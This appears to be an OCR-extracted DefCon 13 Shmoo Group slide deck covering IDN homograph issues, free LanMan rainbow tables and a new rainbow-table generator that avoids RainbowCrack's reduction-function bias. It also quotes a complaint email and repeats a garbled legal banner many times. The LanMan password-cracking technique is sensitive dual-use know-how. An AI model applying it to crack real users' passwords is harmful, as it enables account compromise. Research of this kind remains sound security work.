The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. electronic "stored communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant even access" specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. ensure you have appropriate warrants before seizing this equipment



Shmoo-Fu: Hacker Goo, Goofs, and Gear with the Shmoo

The Shmoo Group www.shmoo.com



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Stickers anyone?

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is product material" prot "work protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) Note that this is a civil statu /iolation of this statute cement agents to result in a civil suit as provided Section 2000aa-6 and every work prod on this system is to recover at damages of \$1000 plus all legal states may not be from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than on this system. days stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a to each person's the computer email resides such authorized access. There are civil actions which may be taken against law provision of the Act find them in USC 18, this system you can Each of them is to collect \$1000 expenses for on 2700 and 2 you have ap before seizing



What's up Shmoo?

- Howdy & introductions...
- Our festivities will include:
 - Super Spy Stuff
 - IDN Fallout & Homograph Attacks for Personal Identities
 - Revving Up Rainbow Tables
 - Rogue Squadron & EAP Peeking

- Shooting Your Security Wad
- Don't Try This at Home
- And MORE!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute /iolation of this statute by cement agents is very to result in a civil suit as provided Section 2000aa-6. and every person work product on this system is en to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. Such days stóred electronic communications are protected by the ECPA from seizure preventing authorized without a to each person's email the computer where email resides such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations Section 2700 and 2703 you have appropriate warrants before seizing



Super Spy Stuff

- Robots got boring, so Pablos starting hanging out with models after his chic hacker photo shoot in FHM.
- The result was nothing short of spectacular, as the fashionable cell-phone stowaway strifes hot women face were finally addressed.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



And now... Pablos.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.





The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stored electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



3ricj?

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by cement agents likelv to result in a civil suit as provided Section 2000aa-6. and every work product on this system is er to recover at least minimum damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. Such days stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a c to each person's email the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for violations of Section 2700 and 2 you have appropriate warrants before seizing



IDN Fallout

- At ShmooCon 2005, Eric Johansen dropped the browser bomb regarding IDN issues.
- The press ran with it a bit.
- The folks responsible for IDN ranted for a bit.
- But did anything concrete occur?

DefCon 13

• And where are we now?

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e., "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



Dan Moniz goes crazy...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is product material" prot 'work protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa Note that this is a civil statu tion of this statute by ement agents to result in a civil suit as provided Section 2000aa-6 and every work product on this system is er to recover at damages of \$1000 plus all legal expenses. Agents in states may not be from personal civil liability they violate this statute

In addition, there is email, i.e 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 on this system. days stóred electronic communications are protected by the ECPA from seizure preventing authorized without a to each person's email the computer email resides such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. find them in USC 18, 2707 this system you can Each of them is to collect \$1000 for on 2700 and 2 you have appropriate before seizing



rainbowtables.shmoo.com

- We think rainbow tables are neat.
- Just for fun, we started hosting rainbow tables that we had generated.
 - LanMan
 - Via Bittorrent
 - FREE
- Some people liked that. Yay!

DefCon 13

• Some people didn't...

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or even "preventing authorized access" without a warrant specific to each person's email. Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple_people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment.



----- Forwarded message -----From: Zhu Shuanglei <shuanglei@hotmail.com> Date: Mar 10, 2005 12:42 AM Subject: About your shmoo site To: beetle@shmoo.com

Ηi,

I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are offering free BitTorrent links on your website for the rainbow tables. For those guys selling the table without permission from me, they are not welcome. But you are worse.

As you may know, I develop the rainbowcrack tool and release it the the public for free. I just want to introduce the technique to the world and those need it can benifit from this software. If I sell the tables, I am only making some money for my work and for the fee of hosting my website and for my computing resource. This should be quite reasonable. I am not a business man, if I am there will not be the source code or table generation tool free on the net and I can make a lot of money.

Are you feeling you are cool "Because knowing all passwords is cooler than trying to crack one. ;)". All over the world there will be a lot of guys can do what you do, they aren't. Do you know why? To show off prove neither your ability nor your knowledge.

If possible, please keep honour of my intellectual property of this software, and let those need the tables to generate by themself. If everyone act like you there will be no reason for me to develop this software further or develop other useful software. Or I will never release anything useful to the public.

Don't be crazy any more!

Best Regards,

Zhu Shuanglei

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) in storage less the on this system stored cations are ECPA from seizure preventina authorized There are civil actions which may be taken ac system you before



Revving Up Rainbow Tables

• So, badass LanMan tables are online now via Bittorrent, and still for FREE.

lm_alpha-numeric-symbol32-space.torrent

- Join the 43.9 GB torrent!!!
- Meanwhile, Dan decided to "be crazy" a bit more.
- We don't need your stinkin' code, Zhu!
- And Snax says, "FUCK OFF!"

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute. Violation of this statute by law enforcement agents is very likely to result in a civil suit as provided Section 2000aa-6. Each and every person who has "work product material" stored on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if they violate this statute.

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 demonstrations and the storage less than 200 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or "preventing authorized s" without a warrant even access" specific to each person's email Seizing the computer where this email resides would prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can avoid this system you can expect multiple_people to have stored email. Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703. Please ensure you have appropriate warrants before seizing this equipment



Unnamed Project

• Dan Moniz

• Rev. Dr. Patrick Stach



The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa) Note that this is a civil statute /iolation of this statute by cement agents likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant ic to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all expenses for violations of Section 2700 and 2 ensure you have appropriate warrants before seizing



Improving on RainbowCrack

- We started out trying to optimize RainbowCrack...
- But then we found out that it is teh suck.
- So we changed our approach and made a new tool.

DefCon 13

• Doesn't have a name... yet.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute violation of this statute by cement agents is very to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from persónal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a c to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for Section 2700 and 2 ensure you have appropriate warrants before seizing



Problems with RainbowCrack

- Reduction function bias
- If your keyspace is 6 valid inputs, and you have 2^4 number of outputs, the reduction that RainbowCrack (slightly simplified) does is:

(total num of outputs) mod (total num of inputs) = bias marker

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute /iolation of this statute by law cement agents is verv to result in a civil suit as provided Section 2000aa-6 and every person who work product material on this system is entitled to recover at least minimum damages of \$1000 plus all legal expenses. Agents in some states may not be protected from personal civil liability if thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a ic to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 plus all legal expenses for violations of Section 2700 and 2703 you have appropriate warrants before seizing this equipment



Example of Reduction Function Bias

 $0 \mod 6 = 0$ That's a lot of modulo $8 \mod 6 = 2$ arithmetic. You'll notice $1 \mod 6 = 1$ $9 \mod 6 = 3$ that there are 3 of every $2 \mod 6 = 2$ value except 4 and 5. $10 \mod 6 = 4$ We only have two of $3 \mod 6 = 3$ $11 \mod 6 = 5$ those. $4 \mod 6 = 4$ $12 \mod 6 = 0$ Say that LM had only 6 possible inputs. Say that $5 \mod 6 = 5$ $13 \mod 6 = 1$ the algorithm (which in $6 \mod 6 = 0$ $14 \mod 6 = 2$ LM is DES) has up to 2^4 outputs (16). $7 \mod 6 = 1$ $15 \mod 6 = 3$

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute /iolation of this statute by law cement agents is verv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is en to recover at least minimum damages of \$1000 plus all legal expenses. Agents in states may not be protected from persónal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warrant ic to each person's email the computer where email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You can find them in USC 18, 2707. On this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for Section 2700 and 2 you have appropriate warrants before seizing



Reduction Function Bias Continued

- By taking an arbitrary random output from the algorithm (we can assume that the algorithm output is random) and modulo it by 6, there's a better chance of the input values being below the bias marker than above.
- Values 0 to 3 have a better chance of being picked at random due to this than the 4-5 values as the next input.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is 'work material" protected product under The First Amendmen Protection Act of 1 Section 2000aa) that this is a to result in a civil provided Section 2000aa-6 and every prod on this syst damages of \$1000 plus all states may not be from personal civil liability they violate this statute

there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than on this system davs stóred electronic communications are protected by the ECPA from seizure preventing authorized without to each person's email resides such authorized access. There are civil actions which may be taken aq ainst law provision of the Act find them in USC 18, system you to collect \$1000 for you have at before seizing



The Real Bias Problem



- This Riemann sum is not an integral factor of 2^64 just as 6 is not an integral factor of 16.
- This modulo arithmetic has a bias.
- You can assume the output of DES is statistically random, or at least random enough that the bias would still be present.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is product material" prot protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) that this is a civil statute ment agents to result in a civil suit as Section 2000aa-6 and every prod on this system is er cover at damages of \$1000 plus all legal states may not be protected from personal civil liability they violate this statute

there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. davs Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a to each person's email the computer email resides authorized such access. There are civil actions which mav be taken aqainst law provision of the Act. You find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for you have ap before seizing



Why this matters

- n = the floored result of (total num of outputs)/ (total num of inputs)
- We'll add 1 if n is below the bias marker to represent the extra chance it has due to the bias
- (1+n)/(total num of outputs) = chance of hitting any one given key out of the input range
- n/(total num of outputs) = chance of hitting any one given key out of the input range
- Values below the bias marker are unfairly weighted and are more likely to be inputs to the rainbow chain generation!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is preparation for public dissemination and is product material" prot "work protected under The First Amendmen Protection Act of 1 42. Section 2000aa) that this is a civil statute ement agents to result in a civil suit as provided Section 2000aa-6 and every prod on this system is er over at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

there is email, i.e stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has in storage less than 180 on this system. davs Such stòred electronic communications are protected ECPA from seizure or preventing authorized without a to each person's emai resides such authorized access. There are civil actions which mav be taken aqainst law unde provision of the Act. You can ind them in USC 18, 2707. On system you can expect Each of them is entitled to collect \$1000 for 2700 and 2 you have ap before seizing



Our Generation Technique (how we avoid bias)

- We start generating at the last possible input and walk towards the first input.
- As we generate we use a bitmask, so we can determine if we have computed the key or not. We have 100% verified keyspace because everything is accounted for.
- At 1 bit per input it requires 768 GB of disk space if we were to do it on one machine.
 DefCon 13

The owners and users of this system are exercising First Amendment rights.

Some material on this system is preparation for public dissemination and is "work material" protected product under The First Amendment Protection Act of 1980 42. Section 2000aa) that this is a civil statute ion of this statute by ement agents is very to result in a civil suit as provided Section 2000aa-6. and every prod on this system is er over at es of \$1000 plus all legal states may not be from personal civil liability they violate this statute

In addition. there is email, i.e. stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than 180 on this system. davs Such stòred electronic communications are protected ECPA from seizure or preventing authorized without a to each person's email resides such authorized access. There are civil actions which mav be taken aqainst law under provision of the Act. You can ind them in USC 18, 2707. On system you can expect Each of them is entitled to collect \$1000 for 2700 and 2 you have ap before seizing



Our Badass Sorting-Fu

- We separate out anything less than or equal to 6 characters. 7 character keyspace is one table, 5-6 keyspace is another
- We do this so that you can detect the length of the password
- LanMan primer: take 14 bytes of input and split it into two 7 byte parts, hash them independently

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa that this is a civil stat to result in a civil suit as provided Section 2000aa-6 and every work produ on this system is er over at es of \$1000 plus all legal states may not be protected from personal civil liability thev víolate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than on this system. davs stóred electronic communications are protected the ECPA from seizure or preventing authorized without a to each person's email the computer email resides such authorized access. There are civil actions which may be taken against law provision of the Act. You find them in USC 18, 2707. system you can Each of them is entitled to collect \$1000 for expenses on 2700 and 2 you have appropriate before seizing



LanMan Hashing Examples

Say you have a password "dog"
dog = D0G\0\0\0\0\0\0\0\0\0\0\0
Which goes to...

• You can detect that the first half is 7 characters or less because the second half is the null password hash.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa that this is a civil stat to result in a civil suit as provided Section 2000aa-6 and every prod on this syst es of \$1000 plus all legal states may not be from personal civil liability thev víolate this statute

In addition, there is email, i.e. electronic 'stored communications" as defined by the Electronic Communications Privacy Act (ECPA) which has in storage less than 180 on this system. Such davs stóred electronic communications are protected the ECPA from seizure or preventing authorized without a to each person's email email resides such authorized access. There are civil actions which mav be taken aqainst law provision of the Act and them in USC 18, 2707. system you can Each of them is to collect \$1000 for you have ap before seizing



LanMan Hashing Examples

- Now with a password of "spamdadrulz"...
 spamdadrulz = SPAMDADRULZ\0\0\0
- Which goes to...

SPAMDAD RULZ\0\0\0

- You know that **this** hash is 7 characters because the second half of the hash is not the null password hash.
- This decreases the time spent looking through worthless hash values!

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa) Note that this is a civil statute Violation of this statute by cement agents likelv to result in a civil suit as provided Section 2000aa-6 and every work product on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. "stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which been in storage less than 180 days on this system. stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a ic to each person's email the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. You find them in USC 18, 2707. this system you can multiple people to have Each of them is to collect \$1000 expenses for Section 2700 and 2 ensure you have appropriate warrants before seizing equipment



RainbowCrack Loses

- RainbowCrack just generates random hashes.
- And has that reduction function bias problem...
- Bad + Suck = **l4m3x0r!!!**

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected product under The First Amendmen Privacy Protection Act of 1980 42. Section 2000aa) Note that this is a civil statute tion of this statute by cement agents to result in a civil suit as provided Section 2000aa-6 and every work product on this system is er to recover at damages of \$1000 plus all legal expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. davs stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a to each person's the computer email resides such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. You find them in USC 18, 2707. this system you can multiple people to have Each of them is to collect \$1000 expenses for violations Section 2700 and 2 you have appropriate before seizing



We Get Our Crack On

- rtcrack reads in as much of the hash table file that rtgen generates using the read() syscall.
- It walks linearly checking to see if the endpoints match on the rainbow chains.

DefCon 13

• This has O(n) complexity.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is product material" prot protected under The First Amendmen Privacy Protection Act of 1 42. Section 2000aa) that this is a civil statute to result in a civil suit as Section 2000aa-6 and everv prod on this system is er damages of \$1000 plus all legal states may not be protected from personal civil liability thev víolate this statute

there is email, i.e. stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which in storage less than 180 on this system. davs Such stóred electronic communications are protected the ECPA from seizure or preventing authorized without a to each person's email email resides such authorized access. There are civil actions which mav be taken aqainst law provision of the Act. You find them in USC 18, 2707. this system you can Each of them is to collect \$1000 for vou have a before seizing



We Get Our Crack On

- We store the start point and the endpoints in separate files at corresponding offsets
- Next we take the page size on x86 (4096 bytes) divided by the entry size (8) plus 1 (for the index) which equals 513
- So every 513th entry, after we've sorted them lowest to highest, is stored in a special index file
- At crack time, we mmap() the endpoint index file, and use divide and conquer (Fibonacci find) to find out if the endpoint is in this index file, or, if it's not, to which offset the endpoint is referenced in the master index file

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected product_ under The First Amendmen Privacy Protection Act of 1980 42. Section 2000aa) Note that this is a civil statute /iolation of this statute by cement agents is very to result in a civil suit as provided Section 2000aa-6. and every person work product on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. Such davs stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a warran c to each person's email the computer where email resides such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You find them in USC 18, 2707. this system you can multiple people to have stored Each of them is entitled to collect \$1000 expenses for 01 Section 2700 and 2 you have appropriate before seizing



We Get Our Search On

- Thus, for each offset it has to read a max of one page of memory off of disk
- 4096 bytes read to check 512 entries
- This is Bayes trees, modified
- Patrick has a Doctorate of Divinity in Searching and Sorting from the Church of Knuth

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 (USC 42, Section 2000aa). Note that this is a civil statute Violation of this statute by cement agents likelv to result in a civil suit as provided Section 2000aa-6. and every person work product material on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability thev violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 days on this system. Such stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a ic to each person's en the computer email resides prevent such authorized access. There are civil actions which may be taken against law enforcement agents provision of the Act. You can find them in USC 18, 2707. this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for Section 2700 and 27 ensure you have appropriate warrants before seizing



RainbowCrack Gets An L For Lame

- Disk I/O costs as much CPU time as encryption in RainbowCrack, if not more.
- RainbowCrack fails to account for this in their statistics.

The owners and users of this system are exercising First Amendment rights.

Some material on this system is in preparation for public dissemination and is "work product material" protected under The First Amendment Privacy Protection Act of 1980 42. Section 2000aa) Note that this is a civil statute /iolation of this statute by cement agents to result in a civil suit as provided Section 2000aa-6. and every person work product on this system is er to recover at damages of \$1000 plus all lega expenses. Agents in states may not be protected from personal civil liability they violate this statute

In addition, there is email, i.e. 'stored electronic communications" as defined by the Electronic Communications Privacy Act (ECPA) which has been in storage less than 180 on this system. Such davs stóred electronic communications are protected by the ECPA from seizure or preventing authorized without a c to each person's email the computer where email resides such authorized access. There are civil actions which may be taken against law enforcement agents under provision of the Act. You find them in USC 18, 2707. this system you can expect multiple people to have stored Each of them is entitled to collect \$1000 expenses for Section 2700 and 2 you have appropriate before seizing



The Seekret Sauce

- Our code is implemented in C and assembly for the IA64 (Itanium2) and running on a classified number of processors.
- Thanks to SGI!
- We also have the generator implemented in VHDL to run as custom specialized hardware to run on Spartan-3 FPGAs.

The owners and users of this system are exercising First Amendment rights.

